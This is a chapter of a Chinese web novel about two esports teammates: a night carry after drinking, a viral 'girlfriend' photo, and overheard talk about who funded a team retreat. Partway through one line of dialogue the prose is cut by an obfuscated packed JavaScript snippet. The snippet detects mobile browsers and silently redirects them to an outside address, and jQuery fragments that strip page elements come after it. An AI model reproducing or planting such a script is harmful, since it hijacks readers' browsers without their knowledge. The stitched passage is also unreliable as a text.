楚铭舟抱着陆郁出了酒吧。


    凌晨一点，气温降至零下，空中细碎的飘着小片的雪花。


    今年的初雪。


    楚铭舟低头，发现一小片雪花落在了陆郁的浓密的睫毛上，过了两秒化成水珠挂在上面。


    几秒后，水珠被人用指腹晕开，沾湿了几根周边的睫毛。


    带了几分惹人怜惜的味道。


    喝醉的陆郁很乖，面上除了眼尾有些微红外看不出别的异常。


    眼尾的颜色不深，浅淡的红色在少年白皙的脸上晕开，就像在品相极佳的羊脂玉瓷上留了一缕丹色的水墨。


    一种极致的视觉盛宴。


    漂亮，勾人。


    楚铭舟喉结微微滚动，强迫自己移开黏在怀中人身上的眼神。


    不能着急，至少得等他拿到证据之后……


    酒吧离住宿的地方不算太近，大概十分钟的路程。


    离开娱乐区，震耳欲聋的喧嚷嘈杂被甩在身后，山庄现出了它夜晚本来的模样。


    很安静。


    耳边只有温泉池潺潺的流水声。


    空气里弥漫着两人身上的酒香和初雪凛冽的寒气，混合在一起有种莫名引人沉沦的味道。


    昏黄的路灯下，楚铭舟的影子被拉的很长，陆郁被他抱着，从影子上只能看见小腿在轻微晃动。


    不知道是不是觉得有些冷，陆郁下意识用手环住楚铭舟的脖子，往他怀里陷得更深。


    整个人似乎都染上了他的气息。


    楚铭舟身子微微一僵，须臾，他腾出一只手将风衣纽扣解开。


    散发着暖意的热源几乎是瞬间就捕获了一只体寒的小鹿。


    陆郁手上抱人的力度加大，侧脸靠在楚铭舟心脏的位置，无意识地蹭了蹭。


    要命……


    楚铭舟阖了下眼，加快了脚下的步伐。


    回到房间，把人轻放到床上，楚铭舟伸出手想把陆郁的外套给脱了。


    指尖刚触碰到外套拉链，手就被人拽住，带着屋外的寒气，有些冰。


    他低头，发现床上的人睁开了眼睛。


    平日里清亮的眸子此时蒙上一层薄薄的雾气，陆郁盯向楚铭舟，语气很冷:“谁允许你碰我衣服的。”


    楚铭舟一时惊讶，没发现不对劲。


    刚要收回手，陆郁又开口了。


    他用雾蒙蒙的眼神打量着他，神色带上了几分迟疑:“你是新来的下人？”


    楚铭舟顿住，探究般地观察了一下面前的人，确认了什么之后，眼里止不住地含了笑意。


    从善如流道:“是的，我来帮陆公子宽衣。”


    陆郁歪着头思考了两秒，皱眉纠正他:“你应该叫我王爷。”


    楚铭舟眼里笑意更深，顺着他的话改口:“陆小王爷。”


    听到正确的称呼，陆郁这才勉为其难地把手递了过去。


    楚铭舟脱下了陆小王爷的“朝服”。


    等他从卫生间里拿了沾热水的毛巾出来，小王爷已经闭上眼睛蜷缩在床角睡着了。


    睡着的陆郁没有了清醒时生人勿近的距离感，平常总是冷冷淡淡的脸上多了几分乖顺的柔和，黑灰配色的床单让他白皙的肤色更加明显。


    他把自己蜷成一团放在大床的边缘，手里还攥着被子的一角。


    没有安全感的表现。


    很久没看过这副模样的陆郁，楚铭舟眉心微拧，想起了他刚到CX的场景。


    陆郁对于新环境的接受速度不算快，刚住到CX的第一周，眼底的乌青一天比一天重，训练状态也一天比一天差，后面几天甚至吃饭都能眯着眼睛睡着。


    问他怎么了陆郁也只是抿唇沉默，说自己一定可以调整好。


    楚铭舟没办法，第一次对陆郁冷了脸。


    陆郁磨蹭了一会儿才吐露实情。


    他从小睡眠质量就不太好，认床，听不得声音，睡觉不能有光，小毛病一堆。


    这次刚到CX，本身就没适应环境。再加上同宿舍的土系有的时候会打呼噜，才会导致这么严重的失眠。


    知道原因后，楚铭舟干脆利落的让土系搬到他住的单人房，他自己搬到陆郁住的双人房。


    每天下机后让阿姨热一杯牛奶，亲自盯着陆郁喝完。


    还严格控制他晚上刷光脑的时间，到点就关灯。


    这样持续了大概两个星期，陆郁失眠的毛病才勉强被掰过来。


    他记得，他搬过去的最开始那几天里，陆郁也是这个姿势。


    自我防御的，拒绝接触的，没有安全感的。


    十七岁陆郁还没完全发育开，清瘦的少年团成一团缩在床角，老让楚铭舟有种CX虐待儿童的错觉。


    不过后来慢慢好起来了。


    也会因为训练太累沾床就睡，也会把被子蹬到地上，也会在床上睡得东倒西歪。


    身上有了独属于少年的活力。


    但现在看起来，他好不容易养好的小鹿，似乎又缩回了自己的安全圈。


    楚铭舟眸色有些深，垂下眼，将手上冒着热气的毛巾对折，走向床边。


    算了，总归能养回来的。


    他半跪在床边，半搂着把人抱起来，用热毛巾帮陆郁擦了下脸。


    大概是感受到有人在吵自己睡觉，陆郁不满地挥手，想推开作乱的人，嘴里还含糊不清地嘟囔了几句话。


    攥住男生捣乱的手，楚铭舟声音带了点引诱的意思，温声道:“鹿鹿，再说一遍？”


    怀里的人安静了一会儿。


    须臾，口齿清晰地骂:“楚铭舟，大傻逼。”


    楚铭舟:“……”


    他无奈地摇头笑了笑，没忍住，揉了一把心心念念的鹿头，把人塞进被子里。


    行吧，大傻逼就大傻逼，至少梦里有他。


    -


    第二天，阳光顺着没关严实的窗帘缝照到山庄舒适的大床上。


    陆郁被光线刺得有些烦躁，抓着被子就往脑袋上蒙。


    又过了一个小时，他迷迷糊糊地想从枕头底下掏出光脑。


    摸了半天摸了个空。


    陆郁艰难地睁开眼睛，发现光脑被人放在了床头柜上。


    他茫然了一瞬，记忆开始复苏。


    十分钟后，陆郁又缓缓躺了下去。


    他一定是在做梦。


    一定是在做梦。


    做梦……个鬼啊！


    妈的，这个世界上他和楚铭舟只能活一个。


    陆郁阴沉着脸起身。


    刚推开门，又听到了FE经理大着嗓门的晨间八卦大放送。


    “Ceder疑似深夜抱女友回房？”


    捧着保温杯的Quan疑惑道:“Ceder昨天晚上不都和他们在一起玩吗？哪来的女朋友？女朋友还能空降吗？”


    “但是人家有图有真相。”FE经理把光脑递给Quan，示意道:“你看。”


    “而且Ceder还是公主抱，好宠啊。”FE经理啧啧感叹。


    小木打着哈欠从另一边出来，揉着眼睛顺口接话:“什么公主抱？”


    “星博上说的，Ceder昨天抱着女朋友回房。”FE经理把光脑转了个向:“喏。”


    “怎么可能。”小木反驳道:“Ceder昨天不是抱着……”Sika回来的吗。


    话说到一半，小木原地愣住。


    图片里的两个人，被拍的姿势，跟他昨天看到的几乎一模一样。


    这个姿势，陆郁的脸完全埋在楚铭舟胸口，一丁点儿也没露出来，只有一截白皙的脚腕裸露在外。再加上光线很暗，像素很糊，给了网友很大的想象空间。


    暧昧又亲密，氛围感拉满，很好嗑。


    如果他不知道Ceder抱着的是Sika的话。


    他看着光脑上#Ceder女朋友#位于热榜第四的标识，觉得自己离去世也不远了。


    小木两眼一翻崩溃道:“哪来的女朋友，这踏马是Sika！”


    FE经理被小木吓了一跳，没反应过来:“Sika就Sika嘛，你这么激动干嘛。”


    等等。


    谁？


    Sika？？？


    FE经理仔仔细细地又看了一遍图，图上疑似Ceder女朋友穿的这件薄荷绿棉服外套好像是挺眼熟的……


    他咽了口口水，视线移到陆郁房间门口。


    薄荷绿外套主人正穿着它杀气腾腾地看着他们。


    FE经理尴尬地朝陆郁挥了下手，打招呼:“哈哈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14484390|154490||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。那什么，Sika，中午好啊…”


    小木听到陆郁的名字条件反射地打了个激灵，抓了一把自己的鸡窝头，语无伦次地说:“今天外面天气真好啊，我想想我等会儿去餐厅吃什么呢，昨天高尔夫挺好玩的我再去玩会儿。”


    话说完了，人也做贼似地溜出了门。


    陆郁下了楼，拿过FE经理的光脑，指着图片面无表情地问:“能看得出来这是我？”


    FE经理把头摇成拨浪鼓，结巴道:“看看看不出来。”


    “除了衣衣衣服之外真的一点也看不出来。”


    陆郁颔首，没说其他的，转身回了房间。


    再下来的时候身上的薄荷绿外套已经消失不见，变成了一件卡其色的针织毛衣。


    手上还拿了运营交给他的相机。


    看样子像是要出门。


    Quan担心地看他一眼，说:“Sika，外面现在还在飘雪，你这穿的也太少了点，容易感冒啊。”


    陆郁摆弄相机的手顿一瞬，抿唇。


    冻死也比社死强。


    想着运营刚刚发的千叮咛万嘱咐记得传素材回去的消息，陆郁走向门口。


    “我录一会儿vlog的素材就回来。”他说:“应该没事。”


    等大门“啪”的一声被关上，FE经理瘫坐在沙发上，又拿起光脑看了两眼上面的照片，不可置信地喃喃道:“今夕是何年……”


    难不成他心里的预感真的要成真了？


    陆郁刚走出门就被冷风吹得有些发颤，没办法，两天的假期，大家大多都没带多的厚衣服。


    小木倒是带了多的，不过他那两套多巴胺炫彩风格的棉服……


    不是一般人能驾驭的。


    陆郁搓了搓已经开始冻得有些发红的手，决定速战速决。


    他打开相机，把镜头对向自己。


    “大家好，我是陆郁，今天带大家看一下我们这两天待的温泉山庄。”


    相机的显色度很高，高清镜头下，陆郁的脸比平时还要好看，轮廓清晰明了，瞳仁黑亮清冷，像空中悠悠落下的白雪，干净又纯粹。


    有些人天生就是为镜头而生。


    之前甚至有电影导演看到陆郁的视频后联系问他有没有转行当演员的想法。


    最后以陆郁声称自己是面瘫不了了之。


    他从FE住的院落往中心区域走，一边走一边介绍。


    “这边是娱乐区，有高尔夫场、园艺厅、射击馆、酒吧、ktv之类玩的地方。”


    “环境也很好，旁边有一个人工湖。”


    镜头转向一旁的湖心亭。


    亭子里有人在讲话。


    “老许，联盟今年财务状况不错啊，这次团建得花不少吧？”一道中年男音调侃道。


    “怎么可能是联盟出的钱，你又不是不知道我们每年要在灵核和黑陨石碎片上支出多少。”另一道声音有些无奈，否定道。


    陆郁被风吹得有些发晕，没心情听联盟高层聊天，刚准备去另外的地方，就听见后面的人说:“这次的赞助是Ceder找的。”


    陆郁抬起的脚缓缓放下。


    “说是找的赞助，但那个公司的负责人对Ceder那个态度可是毕恭毕敬。”


    话里话外都是楚铭舟出钱请了这次团建的意思。


    中年男不解:“Ceder为什么要请联盟这么多人出来玩？”


    “谁知道呢，不过以他那种身份，这点钱也不算什么。”


    两人感慨了一会儿有钱人家的少爷就是不一样之后就跳过了这个话题，开始讨论别的。


    陆郁眉眼微皱，揉了下突突直跳的太阳穴，转身离开。


    路上，他看着蜿蜒曲折的小道，走神地想。


    楚铭舟脑子可能真的有点问题。


    录完最后一条素材，陆郁关上相机，准备回院子里。


    走了几步，一股熟悉的头重脚轻感让陆郁微微停顿。


    不知道有没有人带感冒药，他抿了下干涩的嘴唇。


    “Sika，可以耽误你几分钟吗？”


    一道略显紧张的声音在他身后响起。


    陆郁拧着眉转头，看见了一个意料之外的人。


    目光瞬时变得不善。